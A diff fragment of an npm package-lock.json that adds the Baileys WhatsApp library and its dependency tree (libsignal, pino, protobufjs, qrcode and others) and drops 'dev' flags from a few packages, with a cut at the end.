"6.7.21", + "resolved": "https://registry.npmjs.org/@whiskeysockets/baileys/-/baileys-6.7.21.tgz", + "integrity": "sha512-xx9OHd6jlPiu5yZVuUdwEgFNAOXiEG8sULHxC6XfzNwssnwxnA9Lp44pR05H621GQcKyCfsH33TGy+Na6ygX4w==", + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@cacheable/node-cache": "^1.4.0", + "@hapi/boom": "^9.1.3", + "async-mutex": "^0.5.0", + "axios": "^1.6.0", + "libsignal": "git+https://github.com/whiskeysockets/libsignal-node.git", + "music-metadata": "^11.7.0", + "pino": "^9.6", + "protobufjs": "^7.2.4", + "ws": "^8.13.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "audio-decode": "^2.1.3", + "jimp": "^1.6.0", + "link-preview-js": "^3.0.0", + "sharp": "*" + }, + "peerDependenciesMeta": { + "audio-decode": { + "optional": true + }, + "jimp": { + "optional": true + }, + "link-preview-js": { + "optional": true + } + } + }, "node_modules/@workflow/serde": { "version": "4.1.0-beta.2", "resolved": "https://registry.npmjs.org/@workflow/serde/-/serde-4.1.0-beta.2.tgz", @@ -3406,11 +3666,19 @@ "integrity": "sha512-/Ndrl68UQLhnCdsAzEXLMFuOR546o2qbYRqCglaNHbjXrwG1ayTcdwr3zkSGOGtGXDyR5X9nCFfnyG2AFJIsqg==", "license": "Apache-2.0" }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, "dependencies": { "color-convert": "^2.0.1" }, @@ -3437,12 +3705,30 @@ "node": ">=12" } }, + "node_modules/async-mutex": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/async-mutex/-/async-mutex-0.5.0.tgz", + "integrity": "sha512-1A94B18jkJ3DYq284ohPxoXbfTA5HsQ7/Mf4DEhcyLx3Bz27Rh59iScbB6EPiP+B+joue6YCxcMXSbFC1tZKwA==", + "license": "MIT", + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", "license": "MIT" }, + "node_modules/atomic-sleep": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", + "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, "node_modules/axios": { "version": "1.15.0", "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz", @@ -3652,6 +3938,28 @@ "node": ">= 0.8" } }, + "node_modules/cacheable": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/cacheable/-/cacheable-2.3.4.tgz", + "integrity": "sha512-djgxybDbw9fL/ZWMI3+CE8ZilNxcwFkVtDc1gJ+IlOSSWkSMPQabhV/XCHTQ6pwwN6aivXPZ43omTooZiX06Ew==", + "license": "MIT", + "dependencies": { + "@cacheable/memory": "^2.0.8", + "@cacheable/utils": "^2.4.0", + "hookified": "^1.15.0", + "keyv": "^5.6.0", + "qified": "^0.9.0" + } + }, + "node_modules/cacheable/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/call-bind-apply-helpers": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", @@ -3690,6 +3998,15 @@ "node": ">=6" } }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/ccount": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", @@ -3791,6 +4108,17 @@ "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", "license": "ISC" }, + "node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, "node_modules/cluster-key-slot": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz", @@ -3804,7 +4132,6 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, "dependencies": { "color-name": "~1.1.4" }, @@ -3815,8 +4142,7 @@ "node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/combined-stream": { "version": "1.0.8", @@ -3966,6 +4292,12 @@ "url": "https://github.com/sponsors/fb55" } }, + "node_modules/curve25519-js": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/curve25519-js/-/curve25519-js-0.0.4.tgz", + "integrity": "sha512-axn2UMEnkhyDUPWOwVKBMVIzSQy2ejH2xRGy1wq81dqRwApXfIzfbE3hIX0ZRFBIihf/KDqK158DLwESu4AK1w==", + "license": "MIT" + }, "node_modules/data-uri-to-buffer": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", @@ -3992,6 +4324,15 @@ } } }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/decode-named-character-reference": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", @@ -4093,6 +4434,12 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/dijkstrajs": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/dijkstrajs/-/dijkstrajs-1.0.3.tgz", + "integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==", + "license": "MIT" + }, "node_modules/discord-api-types": { "version": "0.38.44", "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.38.44.tgz", @@ -4222,6 +4569,12 @@ "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", "license": "MIT" }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, "node_modules/encodeurl": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", @@ -4756,6 +5109,24 @@ "node": ">=16.0.0" } }, + "node_modules/file-type": { + "version": "21.3.4", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.4.tgz", + "integrity": "sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==", + "license": "MIT", + "dependencies": { + "@tokenizer/inflate": "^0.4.1", + "strtok3": "^10.3.4", + "token-types": "^6.1.1", + "uint8array-extras": "^1.4.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sindresorhus/file-type?sponsor=1" + } + }, "node_modules/file-uri-to-path": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", @@ -4963,6 +5334,15 @@ "node": ">=18" } }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, "node_modules/get-intrinsic": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", @@ -5144,6 +5524,18 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/hashery": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/hashery/-/hashery-1.5.1.tgz", + "integrity": "sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==", + "license": "MIT", + "dependencies": { + "hookified": "^1.15.0" + }, + "engines": { + "node": ">=20" + } + }, "node_modules/hasown": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", @@ -5201,6 +5593,12 @@ "he": "bin/he" } }, + "node_modules/hookified": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.15.1.tgz", + "integrity": "sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==", + "license": "MIT" + }, "node_modules/html-to-text": { "version": "9.0.5", "resolved": "https://registry.npmjs.org/html-to-text/-/html-to-text-9.0.5.tgz", @@ -5401,6 +5799,15 @@ "node": ">=0.10.0" } }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", @@ -5614,6 +6021,54 @@ "node": ">= 0.8.0" } }, + "node_modules/libsignal": { + "name": "@whiskeysockets/libsignal-node", + "version": "2.0.1", + "resolved": "git+ssh://git@github.com/whiskeysockets/libsignal-node.git#1c30d7d7e76a3b0aa120b04dc6a26f5a12dccf67", + "license": "GPL-3.0", + "dependencies": { + "curve25519-js": "^0.0.4", + "protobufjs": "6.8.8" + } + }, + "node_modules/libsignal/node_modules/@types/node": { + "version": "10.17.60", + "resolved": "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz", + "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==", + "license": "MIT" + }, + "node_modules/libsignal/node_modules/long": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", + "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==", + "license": "Apache-2.0" + }, + "node_modules/libsignal/node_modules/protobufjs": { + "version": "6.8.8", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.8.8.tgz", + "integrity": "sha512-AAmHtD5pXgZfi7GMpllpO3q1Xw1OYldr+dMUlAnffGTAhqkg72WdmSY71uKBF/JuyiKs8psYbtKrhi0ASCD8qw==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/long": "^4.0.0", + "@types/node": "^10.1.0", + "long": "^4.0.0" + }, + "bin": { + "pbjs": "bin/pbjs", + "pbts": "bin/pbts" + } + }, "node_modules/limiter": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/limiter/-/limiter-1.1.5.tgz", @@ -5713,6 +6168,12 @@ "url": "https://tidelift.com/funding/github/npm/loglevel" } }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, "node_modules/longest-streak": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", @@ -6746,6 +7207,37 @@ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "license": "MIT" }, + "node_modules/music-metadata": { + "version": "11.12.3", + "resolved": "https://registry.npmjs.org/music-metadata/-/music-metadata-11.12.3.tgz", + "integrity": "sha512-n6hSTZkuD59qWgHh6IP5dtDlDZQXoxk/bcA85Jywg8Z1iFrlNgl2+GTFgjZyn52W5UgQpV42V4XqrQZZAMbZTQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + }, + { + "type": "buymeacoffee", + "url": "https://buymeacoffee.com/borewit" + } + ], + "license": "MIT", + "dependencies": { + "@borewit/text-codec": "^0.2.2", + "@tokenizer/token": "^0.3.0", + "content-type": "^1.0.5", + "debug": "^4.4.3", + "file-type": "^21.3.1", + "media-typer": "^1.1.0", + "strtok3": "^10.3.4", + "token-types": "^6.1.2", + "uint8array-extras": "^1.5.0", + "win-guid": "^0.2.1" + }, + "engines": { + "node": ">=18" + } + }, "node_modules/nanoid": { "version": "3.3.11", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", @@ -6911,6 +7403,15 @@ "node": ">=18" } }, + "node_modules/on-exit-leak-free": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz", + "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==", + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, "node_modules/on-finished": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", @@ -7035,6 +7536,15 @@ "node": ">=8" } }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", @@ -7073,7 +7583,6 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, "engines": { "node": ">=8" } @@ -7133,6 +7642,52 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/pino": { + "version": "9.14.0", + "resolved": "https://registry.npmjs.org/pino/-/pino-9.14.0.tgz", + "integrity": "sha512-8OEwKp5juEvb/MjpIc4hjqfgCNysrS94RIOMXYvpYCdm/jglrKEiAYmiumbmGhCvs+IcInsphYDFwqrjr7398w==", + "license": "MIT", + "dependencies": { + "@pinojs/redact": "^0.4.0", + "atomic-sleep": "^1.0.0", + "on-exit-leak-free": "^2.1.0", + "pino-abstract-transport": "^2.0.0", + "pino-std-serializers": "^7.0.0", + "process-warning": "^5.0.0", + "quick-format-unescaped": "^4.0.3", + "real-require": "^0.2.0", + "safe-stable-stringify": "^2.3.1", + "sonic-boom": "^4.0.1", + "thread-stream": "^3.0.0" + }, + "bin": { + "pino": "bin.js" + } + }, + "node_modules/pino-abstract-transport": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-2.0.0.tgz", + "integrity": "sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==", + "license": "MIT", + "dependencies": { + "split2": "^4.0.0" + } + }, + "node_modules/pino-std-serializers": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.1.0.tgz", + "integrity": "sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==", + "license": "MIT" + }, + "node_modules/pngjs": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-5.0.0.tgz", + "integrity": "sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==", + "license": "MIT", + "engines": { + "node": ">=10.13.0" + } + }, "node_modules/postal-mime": { "version": "2.7.3", "resolved": "https://registry.npmjs.org/postal-mime/-/postal-mime-2.7.3.tgz", @@ -7227,6 +7782,22 @@ "node": ">=6" } }, + "node_modules/process-warning": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-5.0.0.tgz", + "integrity": "sha512-a39t9ApHNx2L4+HBnQKqxxHNs1r7KF+Intd8Q/g1bUh6q0WIp9voPXJ/x0j+ZL45KF1pJd9+q2jLIRMfvEshkA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, "node_modules/property-information": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/property-information/-/property-information-7.1.0.tgz", @@ -7237,6 +7808,30 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/protobufjs": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz", + "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/node": ">=13.7.0", + "long": "^5.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, "node_modules/proxy-addr": { "version": "2.0.7", "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", @@ -7278,6 +7873,41 @@ "node": ">=6" } }, + "node_modules/qified": { + "version": "0.9.1", + "resolved": "https://registry.npmjs.org/qified/-/qified-0.9.1.tgz", + "integrity": "sha512-n7mar4T0xQ+39dE2vGTAlbxUEpndwPANH0kDef1/MYsB8Bba9wshkybIRx74qgcvKQPEWErf9AqAdYjhzY2Ilg==", + "license": "MIT", + "dependencies": { + "hookified": "^2.1.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/qified/node_modules/hookified": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-2.1.1.tgz", + "integrity": "sha512-AHb76R16GB5EsPBE2J7Ko5kiEyXwviB9P5SMrAKcuAu4vJPZttViAbj9+tZeaQE5zjDme+1vcHP78Yj/WoAveA==", + "license": "MIT" + }, + "node_modules/qrcode": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/qrcode/-/qrcode-1.5.4.tgz", + "integrity": "sha512-1ca71Zgiu6ORjHqFBDpnSMTR2ReToX4l1Au1VFLyVeBTFavzQnv5JxMFr3ukHVKpSrSA2MCk0lNJSykjUfz7Zg==", + "license": "MIT", + "dependencies": { + "dijkstrajs": "^1.0.1", + "pngjs": "^5.0.0", + "yargs": "^15.3.1" + }, + "bin": { + "qrcode": "bin/qrcode" + }, + "engines": { + "node": ">=10.13.0" + } + }, "node_modules/qs": { "version": "6.15.1", "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.1.tgz", @@ -7293,6 +7923,12 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/quick-format-unescaped": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", + "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==", + "license": "MIT" + }, "node_modules/range-parser": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", @@ -7378,6 +8014,15 @@ "node": ">= 6" } }, + "node_modules/real-require": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz", + "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + } + }, "node_modules/redis": { "version": "5.11.0", "resolved": "https://registry.npmjs.org/redis/-/redis-5.11.0.tgz", @@ -7455,6 +8100,21 @@ "integrity": "sha512-iIhggPkhW3hFImKtB10w0dz4EZbs28mV/dmbcYVonWEJ6UGHHpP+bFZnTh6GNWJONg5m+U56JrL+8IxZRdgWjw==", "license": "Apache-2.0" }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "license": "ISC" + }, "node_modules/resend": { "version": "6.9.2", "resolved": "https://registry.npmjs.org/resend/-/resend-6.9.2.tgz", @@ -7585,6 +8245,15 @@ ], "license": "MIT" }, + "node_modules/safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, "node_modules/safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", @@ -7676,6 +8345,12 @@ "url": "https://opencollective.com/express" } }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "license": "ISC" + }, "node_modules/setprototypeof": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", @@ -7899,6 +8574,15 @@ "node": ">=10.0.0" } }, + "node_modules/sonic-boom": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.1.tgz", + "integrity": "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==", + "license": "MIT", + "dependencies": { + "atomic-sleep": "^1.0.0" + } + }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", @@ -7919,6 +8603,15 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "license": "ISC", + "engines": { + "node": ">= 10.x" + } + }, "node_modules/stackback": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", @@ -7961,6 +8654,20 @@ "safe-buffer": "~5.2.0" } }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/stringify-entities": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", @@ -7975,6 +8682,34 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strtok3": { + "version": "10.3.5", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.5.tgz", + "integrity": "sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA==", + "license": "MIT", + "dependencies": { + "@tokenizer/token": "^0.3.0" + }, + "engines": { + "node": 